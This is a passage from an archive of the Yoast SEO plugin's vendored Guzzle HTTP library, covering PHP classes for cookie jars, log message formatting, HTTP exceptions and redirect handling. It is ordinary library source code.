            }
        }
        return null;
    }
    public function toArray() : array
    {
        return \array_map(static function (\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) : array {
            return $cookie->toArray();
        }, $this->getIterator()->getArrayCopy());
    }
    public function clear(string $domain = null, string $path = null, string $name = null) : void
    {
        if (!$domain) {
            $this->cookies = [];
            return;
        } elseif (!$path) {
            $this->cookies = \array_filter($this->cookies, static function (\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) use($domain) : bool {
                return !$cookie->matchesDomain($domain);
            });
        } elseif (!$name) {
            $this->cookies = \array_filter($this->cookies, static function (\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) use($path, $domain) : bool {
                return !($cookie->matchesPath($path) && $cookie->matchesDomain($domain));
            });
        } else {
            $this->cookies = \array_filter($this->cookies, static function (\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) use($path, $domain, $name) {
                return !($cookie->getName() == $name && $cookie->matchesPath($path) && $cookie->matchesDomain($domain));
            });
        }
    }
    public function clearSessionCookies() : void
    {
        $this->cookies = \array_filter($this->cookies, static function (\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) : bool {
            return !$cookie->getDiscard() && $cookie->getExpires();
        });
    }
    public function setCookie(\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) : bool
    {
        // If the name string is empty (but not 0), ignore the set-cookie
        // string entirely.
        $name = $cookie->getName();
        if (!$name && $name !== '0') {
            return \false;
        }
        // Only allow cookies with set and valid domain, name, value
        $result = $cookie->validate();
        if ($result !== \true) {
            if ($this->strictMode) {
                throw new \RuntimeException('Invalid cookie: ' . $result);
            }
            $this->removeCookieIfEmpty($cookie);
            return \false;
        }
        // Resolve conflicts with previously set cookies
        foreach ($this->cookies as $i => $c) {
            // Two cookies are identical, when their path, and domain are
            // identical.
            if ($c->getPath() != $cookie->getPath() || $c->getDomain() != $cookie->getDomain() || $c->getName() != $cookie->getName()) {
                continue;
            }
            // The previously set cookie is a discard cookie and this one is
            // not so allow the new cookie to be set
            if (!$cookie->getDiscard() && $c->getDiscard()) {
                unset($this->cookies[$i]);
                continue;
            }
            // If the new cookie's expiration is further into the future, then
            // replace the old cookie
            if ($cookie->getExpires() > $c->getExpires()) {
                unset($this->cookies[$i]);
                continue;
            }
            // If the value has changed, we better change it
            if ($cookie->getValue() !== $c->getValue()) {
                unset($this->cookies[$i]);
                continue;
            }
            // The cookie exists, so no need to continue
            return \false;
        }
        $this->cookies[] = $cookie;
        return \true;
    }
    public function count() : int
    {
        return \count($this->cookies);
    }
    /**
     * @return \ArrayIterator<int, SetCookie>
     */
    public function getIterator() : \ArrayIterator
    {
        return new \ArrayIterator(\array_values($this->cookies));
    }
    public function extractCookies(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) : void
    {
        if ($cookieHeader = $response->getHeader('Set-Cookie')) {
            foreach ($cookieHeader as $cookie) {
                $sc = \YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie::fromString($cookie);
                if (!$sc->getDomain()) {
                    $sc->setDomain($request->getUri()->getHost());
                }
                if (0 !== \strpos($sc->getPath(), '/')) {
                    $sc->setPath($this->getCookiePathFromRequest($request));
                }
                if (!$sc->matchesDomain($request->getUri()->getHost())) {
                    continue;
                }
                // Note: At this point `$sc->getDomain()` being a public suffix should
                // be rejected, but we don't want to pull in the full PSL dependency.
                $this->setCookie($sc);
            }
        }
    }
    /**
     * Computes cookie path following RFC 6265 section 5.1.4
     *
     * @see https://datatracker.ietf.org/doc/html/rfc6265#section-5.1.4
     */
    private function getCookiePathFromRequest(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request) : string
    {
        $uriPath = $request->getUri()->getPath();
        if ('' === $uriPath) {
            return '/';
        }
        if (0 !== \strpos($uriPath, '/')) {
            return '/';
        }
        if ('/' === $uriPath) {
            return '/';
        }
        $lastSlashPos = \strrpos($uriPath, '/');
        if (0 === $lastSlashPos || \false === $lastSlashPos) {
            return '/';
        }
        return \substr($uriPath, 0, $lastSlashPos);
    }
    public function withCookieHeader(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface
    {
        $values = [];
        $uri = $request->getUri();
        $scheme = $uri->getScheme();
        $host = $uri->getHost();
        $path = $uri->getPath() ?: '/';
        foreach ($this->cookies as $cookie) {
            if ($cookie->matchesPath($path) && $cookie->matchesDomain($host) && !$cookie->isExpired() && (!$cookie->getSecure() || $scheme === 'https')) {
                $values[] = $cookie->getName() . '=' . $cookie->getValue();
            }
        }
        return $values ? $request->withHeader('Cookie', \implode('; ', $values)) : $request;
    }
    /**
     * If a cookie already exists and the server asks to set it again with a
     * null value, the cookie must be deleted.
     */
    private function removeCookieIfEmpty(\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) : void
    {
        $cookieValue = $cookie->getValue();
        if ($cookieValue === null || $cookieValue === '') {
            $this->clear($cookie->getDomain(), $cookie->getPath(), $cookie->getName());
        }
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Cookie/SessionCookieJar.php000064400000004112147510273100024224 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Cookie;

/**
 * Persists cookies in the client session
 */
class SessionCookieJar extends \YoastSEO_Vendor\GuzzleHttp\Cookie\CookieJar
{
    /**
     * @var string session key
     */
    private $sessionKey;
    /**
     * @var bool Control whether to persist session cookies or not.
     */
    private $storeSessionCookies;
    /**
     * Create a new SessionCookieJar object
     *
     * @param string $sessionKey          Session key name to store the cookie
     *                                    data in session
     * @param bool   $storeSessionCookies Set to true to store session cookies
     *                                    in the cookie jar.
     */
    public function __construct(string $sessionKey, bool $storeSessionCookies = \false)
    {
        parent::__construct();
        $this->sessionKey = $sessionKey;
        $this->storeSessionCookies = $storeSessionCookies;
        $this->load();
    }
    /**
     * Saves cookies to session when shutting down
     */
    public function __destruct()
    {
        $this->save();
    }
    /**
     * Save cookies to the client session
     */
    public function save() : void
    {
        $json = [];
        /** @var SetCookie $cookie */
        foreach ($this as $cookie) {
            if (\YoastSEO_Vendor\GuzzleHttp\Cookie\CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
            }
        }
        $_SESSION[$this->sessionKey] = \json_encode($json);
    }
    /**
     * Load the contents of the client session into the data array
     */
    protected function load() : void
    {
        if (!isset($_SESSION[$this->sessionKey])) {
            return;
        }
        $data = \json_decode($_SESSION[$this->sessionKey], \true);
        if (\is_array($data)) {
            foreach ($data as $cookie) {
                $this->setCookie(new \YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie($cookie));
            }
        } elseif (\strlen($data)) {
            throw new \RuntimeException('Invalid cookie data');
        }
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/MessageFormatter.php000064400000016166147510273100023065 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

use YoastSEO_Vendor\Psr\Http\Message\MessageInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
/**
 * Formats log messages using variable substitutions for requests, responses,
 * and other transactional data.
 *
 * The following variable substitutions are supported:
 *
 * - {request}:        Full HTTP request message
 * - {response}:       Full HTTP response message
 * - {ts}:             ISO 8601 date in GMT
 * - {date_iso_8601}   ISO 8601 date in GMT
 * - {date_common_log} Apache common log date using the configured timezone.
 * - {host}:           Host of the request
 * - {method}:         Method of the request
 * - {uri}:            URI of the request
 * - {version}:        Protocol version
 * - {target}:         Request target of the request (path + query + fragment)
 * - {hostname}:       Hostname of the machine that sent the request
 * - {code}:           Status code of the response (if available)
 * - {phrase}:         Reason phrase of the response  (if available)
 * - {error}:          Any error messages (if available)
 * - {req_header_*}:   Replace `*` with the lowercased name of a request header to add to the message
 * - {res_header_*}:   Replace `*` with the lowercased name of a response header to add to the message
 * - {req_headers}:    Request headers
 * - {res_headers}:    Response headers
 * - {req_body}:       Request body
 * - {res_body}:       Response body
 *
 * @final
 */
class MessageFormatter implements \YoastSEO_Vendor\GuzzleHttp\MessageFormatterInterface
{
    /**
     * Apache Common Log Format.
     *
     * @see https://httpd.apache.org/docs/2.4/logs.html#common
     *
     * @var string
     */
    public const CLF = '{hostname} {req_header_User-Agent} - [{date_common_log}] "{method} {target} HTTP/{version}" {code} {res_header_Content-Length}';
    public const DEBUG = ">>>>>>>>\n{request}\n<<<<<<<<\n{response}\n--------\n{error}";
    public const SHORT = '[{ts}] "{method} {target} HTTP/{version}" {code}';
    /**
     * @var string Template used to format log messages
     */
    private $template;
    /**
     * @param string $template Log message template
     */
    public function __construct(?string $template = self::CLF)
    {
        $this->template = $template ?: self::CLF;
    }
    /**
     * Returns a formatted message string.
     *
     * @param RequestInterface       $request  Request that was sent
     * @param ResponseInterface|null $response Response that was received
     * @param \Throwable|null        $error    Exception that was received
     */
    public function format(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response = null, \Throwable $error = null) : string
    {
        $cache = [];
        /** @var string */
        return \preg_replace_callback('/{\\s*([A-Za-z_\\-\\.0-9]+)\\s*}/', function (array $matches) use($request, $response, $error, &$cache) {
            if (isset($cache[$matches[1]])) {
                return $cache[$matches[1]];
            }
            $result = '';
            switch ($matches[1]) {
                case 'request':
                    $result = \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::toString($request);
                    break;
                case 'response':
                    $result = $response ? \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::toString($response) : '';
                    break;
                case 'req_headers':
                    $result = \trim($request->getMethod() . ' ' . $request->getRequestTarget()) . ' HTTP/' . $request->getProtocolVersion() . "\r\n" . $this->headers($request);
                    break;
                case 'res_headers':
                    $result = $response ? \sprintf('HTTP/%s %d %s', $response->getProtocolVersion(), $response->getStatusCode(), $response->getReasonPhrase()) . "\r\n" . $this->headers($response) : 'NULL';
                    break;
                case 'req_body':
                    $result = $request->getBody()->__toString();
                    break;
                case 'res_body':
                    if (!$response instanceof \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface) {
                        $result = 'NULL';
                        break;
                    }
                    $body = $response->getBody();
                    if (!$body->isSeekable()) {
                        $result = 'RESPONSE_NOT_LOGGEABLE';
                        break;
                    }
                    $result = $response->getBody()->__toString();
                    break;
                case 'ts':
                case 'date_iso_8601':
                    $result = \gmdate('c');
                    break;
                case 'date_common_log':
                    $result = \date('d/M/Y:H:i:s O');
                    break;
                case 'method':
                    $result = $request->getMethod();
                    break;
                case 'version':
                    $result = $request->getProtocolVersion();
                    break;
                case 'uri':
                case 'url':
                    $result = $request->getUri()->__toString();
                    break;
                case 'target':
                    $result = $request->getRequestTarget();
                    break;
                case 'req_version':
                    $result = $request->getProtocolVersion();
                    break;
                case 'res_version':
                    $result = $response ? $response->getProtocolVersion() : 'NULL';
                    break;
                case 'host':
                    $result = $request->getHeaderLine('Host');
                    break;
                case 'hostname':
                    $result = \gethostname();
                    break;
                case 'code':
                    $result = $response ? $response->getStatusCode() : 'NULL';
                    break;
                case 'phrase':
                    $result = $response ? $response->getReasonPhrase() : 'NULL';
                    break;
                case 'error':
                    $result = $error ? $error->getMessage() : 'NULL';
                    break;
                default:
                    // handle prefixed dynamic headers
                    if (\strpos($matches[1], 'req_header_') === 0) {
                        $result = $request->getHeaderLine(\substr($matches[1], 11));
                    } elseif (\strpos($matches[1], 'res_header_') === 0) {
                        $result = $response ? $response->getHeaderLine(\substr($matches[1], 11)) : 'NULL';
                    }
            }
            $cache[$matches[1]] = $result;
            return $result;
        }, $this->template);
    }
    /**
     * Get headers from message as string
     */
    private function headers(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message) : string
    {
        $result = '';
        foreach ($message->getHeaders() as $name => $values) {
            $result .= $name . ': ' . \implode(', ', $values) . "\r\n";
        }
        return \trim($result);
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Exception/GuzzleException.php000064400000000326147510273100024701 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Exception;

use YoastSEO_Vendor\Psr\Http\Client\ClientExceptionInterface;
interface GuzzleException extends \YoastSEO_Vendor\Psr\Http\Client\ClientExceptionInterface
{
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Exception/InvalidArgumentException.php000064400000000304147510273100026506 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Exception;

final class InvalidArgumentException extends \InvalidArgumentException implements \YoastSEO_Vendor\GuzzleHttp\Exception\GuzzleException
{
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Exception/ClientException.php000064400000000331147510273100024633 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Exception;

/**
 * Exception when a client error is encountered (4xx codes)
 */
class ClientException extends \YoastSEO_Vendor\GuzzleHttp\Exception\BadResponseException
{
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Exception/RequestException.php000064400000012304147510273100025050 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Exception;

use YoastSEO_Vendor\GuzzleHttp\BodySummarizer;
use YoastSEO_Vendor\GuzzleHttp\BodySummarizerInterface;
use YoastSEO_Vendor\Psr\Http\Client\RequestExceptionInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
 * HTTP Request exception
 */
class RequestException extends \YoastSEO_Vendor\GuzzleHttp\Exception\TransferException implements \YoastSEO_Vendor\Psr\Http\Client\RequestExceptionInterface
{
    /**
     * @var RequestInterface
     */
    private $request;
    /**
     * @var ResponseInterface|null
     */
    private $response;
    /**
     * @var array
     */
    private $handlerContext;
    public function __construct(string $message, \YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response = null, \Throwable $previous = null, array $handlerContext = [])
    {
        // Set the code of the exception if the response is set and not future.
        $code = $response ? $response->getStatusCode() : 0;
        parent::__construct($message, $code, $previous);
        $this->request = $request;
        $this->response = $response;
        $this->handlerContext = $handlerContext;
    }
    /**
     * Wrap non-RequestExceptions with a RequestException
     */
    public static function wrapException(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \Throwable $e) : \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException
    {
        return $e instanceof \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException ? $e : new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException($e->getMessage(), $request, null, $e);
    }
    /**
     * Factory method to create a new exception with a normalized error message
     *
     * @param RequestInterface             $request        Request sent
     * @param ResponseInterface            $response       Response received
     * @param \Throwable|null              $previous       Previous exception
     * @param array                        $handlerContext Optional handler context
     * @param BodySummarizerInterface|null $bodySummarizer Optional body summarizer
     */
    public static function create(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response = null, \Throwable $previous = null, array $handlerContext = [], \YoastSEO_Vendor\GuzzleHttp\BodySummarizerInterface $bodySummarizer = null) : self
    {
        if (!$response) {
            return new self('Error completing request', $request, null, $previous, $handlerContext);
        }
        $level = (int) \floor($response->getStatusCode() / 100);
        if ($level === 4) {
            $label = 'Client error';
            $className = \YoastSEO_Vendor\GuzzleHttp\Exception\ClientException::class;
        } elseif ($level === 5) {
            $label = 'Server error';
            $className = \YoastSEO_Vendor\GuzzleHttp\Exception\ServerException::class;
        } else {
            $label = 'Unsuccessful request';
            $className = __CLASS__;
        }
        $uri = $request->getUri();
        $uri = static::obfuscateUri($uri);
        // Client Error: `GET /` resulted in a `404 Not Found` response:
        // <html> ... (truncated)
        $message = \sprintf('%s: `%s %s` resulted in a `%s %s` response', $label, $request->getMethod(), $uri->__toString(), $response->getStatusCode(), $response->getReasonPhrase());
        $summary = ($bodySummarizer ?? new \YoastSEO_Vendor\GuzzleHttp\BodySummarizer())->summarize($response);
        if ($summary !== null) {
            $message .= ":\n{$summary}\n";
        }
        return new $className($message, $request, $response, $previous, $handlerContext);
    }
    /**
     * Obfuscates URI if there is a username and a password present
     */
    private static function obfuscateUri(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $userInfo = $uri->getUserInfo();
        if (\false !== ($pos = \strpos($userInfo, ':'))) {
            return $uri->withUserInfo(\substr($userInfo, 0, $pos), '***');
        }
        return $uri;
    }
    /**
     * Get the request that caused the exception
     */
    public function getRequest() : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface
    {
        return $this->request;
    }
    /**
     * Get the associated response
     */
    public function getResponse() : ?\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
    {
        return $this->response;
    }
    /**
     * Check if a response was received
     */
    public function hasResponse() : bool
    {
        return $this->response !== null;
    }
    /**
     * Get contextual information about the error from the underlying handler.
     *
     * The contents of this array will vary depending on which handler you are
     * using. It may also be just an empty array. Relying on this data will
     * couple you to a specific handler, but can give more debug information
     * when needed.
     */
    public function getHandlerContext() : array
    {
        return $this->handlerContext;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Exception/ServerException.php000064400000000331147510273100024663 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Exception;

/**
 * Exception when a server error is encountered (5xx codes)
 */
class ServerException extends \YoastSEO_Vendor\GuzzleHttp\Exception\BadResponseException
{
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Exception/TransferException.php000064400000000257147510273100025210 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Exception;

class TransferException extends \RuntimeException implements \YoastSEO_Vendor\GuzzleHttp\Exception\GuzzleException
{
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Exception/ConnectException.php000064400000003026147510273100025012 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Exception;

use YoastSEO_Vendor\Psr\Http\Client\NetworkExceptionInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
/**
 * Exception thrown when a connection cannot be established.
 *
 * Note that no response is present for a ConnectException
 */
class ConnectException extends \YoastSEO_Vendor\GuzzleHttp\Exception\TransferException implements \YoastSEO_Vendor\Psr\Http\Client\NetworkExceptionInterface
{
    /**
     * @var RequestInterface
     */
    private $request;
    /**
     * @var array
     */
    private $handlerContext;
    public function __construct(string $message, \YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \Throwable $previous = null, array $handlerContext = [])
    {
        parent::__construct($message, 0, $previous);
        $this->request = $request;
        $this->handlerContext = $handlerContext;
    }
    /**
     * Get the request that caused the exception
     */
    public function getRequest() : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface
    {
        return $this->request;
    }
    /**
     * Get contextual information about the error from the underlying handler.
     *
     * The contents of this array will vary depending on which handler you are
     * using. It may also be just an empty array. Relying on this data will
     * couple you to a specific handler, but can give more debug information
     * when needed.
     */
    public function getHandlerContext() : array
    {
        return $this->handlerContext;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Exception/BadResponseException.php000064400000002147147510273100025631 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Exception;

use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
/**
 * Exception when an HTTP error occurs (4xx or 5xx error)
 */
class BadResponseException extends \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException
{
    public function __construct(string $message, \YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response, \Throwable $previous = null, array $handlerContext = [])
    {
        parent::__construct($message, $request, $response, $previous, $handlerContext);
    }
    /**
     * Current exception and the ones that extend it will always have a response.
     */
    public function hasResponse() : bool
    {
        return \true;
    }
    /**
     * This function narrows the return type from the parent class and does not allow it to be nullable.
     */
    public function getResponse() : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
    {
        /** @var ResponseInterface */
        return parent::getResponse();
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Exception/TooManyRedirectsException.php000064400000000233147510273100026651 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Exception;

class TooManyRedirectsException extends \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException
{
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/BodySummarizerInterface.php000064400000000453147510273100024402 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

use YoastSEO_Vendor\Psr\Http\Message\MessageInterface;
interface BodySummarizerInterface
{
    /**
     * Returns a summarized message body.
     */
    public function summarize(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message) : ?string;
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/RedirectMiddleware.php000064400000020552147510273100023346 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

use YoastSEO_Vendor\GuzzleHttp\Exception\BadResponseException;
use YoastSEO_Vendor\GuzzleHttp\Exception\TooManyRedirectsException;
use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
 * Request redirect middleware.
 *
 * Apply this middleware like other middleware using
 * {@see \GuzzleHttp\Middleware::redirect()}.
 *
 * @final
 */
class RedirectMiddleware
{
    public const HISTORY_HEADER = 'X-Guzzle-Redirect-History';
    public const STATUS_HISTORY_HEADER = 'X-Guzzle-Redirect-Status-History';
    /**
     * @var array
     */
    public static $defaultSettings = ['max' => 5, 'protocols' => ['http', 'https'], 'strict' => \false, 'referer' => \false, 'track_redirects' => \false];
    /**
     * @var callable(RequestInterface, array): PromiseInterface
     */
    private $nextHandler;
    /**
     * @param callable(RequestInterface, array): PromiseInterface $nextHandler Next handler to invoke.
     */
    public function __construct(callable $nextHandler)
    {
        $this->nextHandler = $nextHandler;
    }
    public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        $fn = $this->nextHandler;
        if (empty($options['allow_redirects'])) {
            return $fn($request, $options);
        }
        if ($options['allow_redirects'] === \true) {
            $options['allow_redirects'] = self::$defaultSettings;
        } elseif (!\is_array($options['allow_redirects'])) {
            throw new \InvalidArgumentException('allow_redirects must be true, false, or array');
        } else {
            // Merge the default settings with the provided settings
            $options['allow_redirects'] += self::$defaultSettings;
        }
        if (empty($options['allow_redirects']['max'])) {
            return $fn($request, $options);
        }
        return $fn($request, $options)->then(function (\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) use($request, $options) {
            return $this->checkRedirect($request, $options, $response);
        });
    }
    /**
     * @return ResponseInterface|PromiseInterface
     */
    public function checkRedirect(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response)
    {
        if (\strpos((string) $response->getStatusCode(), '3') !== 0 || !$response->hasHeader('Location')) {
            return $response;
        }
        $this->guardMax($request, $response, $options);
        $nextRequest = $this->modifyRequest($request, $options, $response);
        // If authorization is handled by curl, unset it if URI is cross-origin.
        if (\YoastSEO_Vendor\GuzzleHttp\Psr7\UriComparator::isCrossOrigin($request->getUri(), $nextRequest->getUri()) && \defined('\\CURLOPT_HTTPAUTH')) {
            unset($options['curl'][\CURLOPT_HTTPAUTH], $options['curl'][\CURLOPT_USERPWD]);
        }
        if (isset($options['allow_redirects']['on_redirect'])) {
            $options['allow_redirects']['on_redirect']($request, $response, $nextRequest->getUri());
        }
        $promise = $this($nextRequest, $options);
        // Add headers to be able to track history of redirects.
        if (!empty($options['allow_redirects']['track_redirects'])) {
            return $this->withTracking($promise, (string) $nextRequest->getUri(), $response->getStatusCode());
        }
        return $promise;
    }
    /**
     * Enable tracking on promise.
     */
    private function withTracking(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise, string $uri, int $statusCode) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return $promise->then(static function (\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) use($uri, $statusCode) {
            // Note that we are pushing to the front of the list as this
            // would be an earlier response than what is currently present
            // in the history header.
            $historyHeader = $response->getHeader(self::HISTORY_HEADER);
            $statusHeader = $response->getHeader(self::STATUS_HISTORY_HEADER);
            \array_unshift($historyHeader, $uri);
            \array_unshift($statusHeader, (string) $statusCode);
            return $response->withHeader(self::HISTORY_HEADER, $historyHeader)->withHeader(self::STATUS_HISTORY_HEADER, $statusHeader);
        });
    }
    /**
     * Check for too many redirects.
     *
     * @throws TooManyRedirectsException Too many redirects.
     */
    private function guardMax(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response, array &$options) : void
    {
        $current = $options['__redirect_count'] ?? 0;
        $options['__redirect_count'] = $current + 1;
        $max = $options['allow_redirects']['max'];
        if ($options['__redirect_count'] > $max) {
            throw new \YoastSEO_Vendor\GuzzleHttp\Exception\TooManyRedirectsException("Will not follow more than {$max} redirects", $request, $response);
        }
    }
    public function modifyRequest(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface
    {
        // Request modifications to apply.
        $modify = [];
        $protocols = $options['allow_redirects']['protocols'];
        // Use a GET request if this is an entity enclosing request and we are
        // not forcing RFC compliance, but rather emulating what all browsers
        // would do.
        $statusCode = $response->getStatusCode();
        if ($statusCode == 303 || $statusCode <= 302 && !$options['allow_redirects']['strict']) {
            $safeMethods = ['GET', 'HEAD', 'OPTIONS'];
            $requestMethod = $request->getMethod();
            $modify['method'] = \in_array($requestMethod, $safeMethods) ? $requestMethod : 'GET';
            $modify['body'] = '';
        }
        $uri = self::redirectUri($request, $response, $protocols);
        if (isset($options['idn_conversion']) && $options['idn_conversion'] !== \false) {
            $idnOptions = $options['idn_conversion'] === \true ? \IDNA_DEFAULT : $options['idn_conversion'];
            $uri = \YoastSEO_Vendor\GuzzleHttp\Utils::idnUriConvert($uri, $idnOptions);
        }
        $modify['uri'] = $uri;
        \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::rewindBody($request);
        // Add the Referer header if it is told to do so and only
        // add the header if we are not redirecting from https to http.
        if ($options['allow_redirects']['referer'] && $modify['uri']->getScheme() === $request->getUri()->getScheme()) {
            $uri = $request->getUri()->withUserInfo('');
            $modify['set_headers']['Referer'] = (string) $uri;
        } else {
            $modify['remove_headers'][] = 'Referer';
        }
        // Remove Authorization and Cookie headers if URI is cross-origin.
        if (\YoastSEO_Vendor\GuzzleHttp\Psr7\UriComparator::isCrossOrigin($request->getUri(), $modify['uri'])) {
            $modify['remove_headers'][] = 'Authorization';
            $modify['remove_headers'][] = 'Cookie';
        }
        return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::modifyRequest($request, $modify);
    }
    /**
     * Set the appropriate URL on the request based on the location header.
     */
    private static function redirectUri(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response, array $protocols) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $location = \YoastSEO_Vendor\GuzzleHttp\Psr7\UriResolver::resolve($request->getUri(), new \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri($response->getHeaderLine('Location')));
        // Ensure that the redirect URI is allowed based on the protocols.
        if (!\in_array($location->getScheme(), $protocols)) {
            throw new \YoastSEO_Vendor\GuzzleHttp\Exception\BadResponseException(\sprintf('Redirect URI, %s, does not use one of the allowed redirect protocols: %s', $location, \implode(', ', $protocols)), $request, $response);
        }
        return $location;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Handler/CurlFactoryInterface.php000064400000001433147510273100025237 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Handler;

use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
interface CurlFactoryInterface
{
    /**
     * Creates a cURL handle resource.
     *
     * @param RequestInterface $request Request
     * @param array            $options Transfer options
     *
     * @throws \RuntimeException when an option cannot be applied
     */
    public function create(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle;
    /**
     * Release an easy handle, allowing it to be reused or closed.
     *
     * This function must call unset on the easy handle's "handle" property.
     */
    public function release(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy) : void;
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Handler/MockHandler.php000064400000015330147510273100023351 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Handler;

use YoastSEO_Vendor\GuzzleHttp\Exception\RequestException;
use YoastSEO_Vendor\GuzzleHttp\HandlerStack;
use YoastSEO_Vendor\GuzzleHttp\Promise as P;
use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\GuzzleHttp\TransferStats;
use YoastSEO_Vendor\GuzzleHttp\Utils;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Handler that returns responses or throw exceptions from a queue.
 *
 * @final
 */
